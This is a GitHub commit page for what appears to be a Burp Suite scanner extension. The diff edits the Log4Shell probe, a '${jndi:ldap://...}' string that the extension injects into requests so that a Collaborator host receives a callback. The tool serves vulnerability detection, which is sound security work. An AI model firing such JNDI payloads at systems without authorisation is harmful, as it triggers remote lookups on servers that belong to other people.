Skip to content

Commit

Permalink
append collaborator server location explicitly
Browse files Browse the repository at this point in the history
  • Loading branch information
dnet committed Dec 12, 2021
1 parent d90e81c commit 1b02bd2
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions src/main/kotlin/burp/BurpExtender.kt
Original file line number Diff line number Diff line change
Expand Up @@ -42,8 +42,8 @@ class BurpExtender : IBurpExtender, IScannerCheck {
Collections.emptyList() // not relevant

override fun doActiveScan(baseRequestResponse: IHttpRequestResponse?, insertionPoint: IScannerInsertionPoint?): MutableList<IScanIssue> {
val payload = collaborator.generatePayload(true)
val bytes = "\${jndi:ldap://$payload/s2test}".toByteArray()
val payload = collaborator.generatePayload(false)
val bytes = "\${jndi:ldap://$payload.${collaborator.collaboratorServerLocation}/s2test}".toByteArray()
val request = insertionPoint!!.buildRequest(bytes)
val poff = insertionPoint.getPayloadOffsets(bytes)
val hrr = callbacks.makeHttpRequest(baseRequestResponse!!.httpService, request)
Expand Down

0 comments on commit 1b02bd2

Please sign in to comment.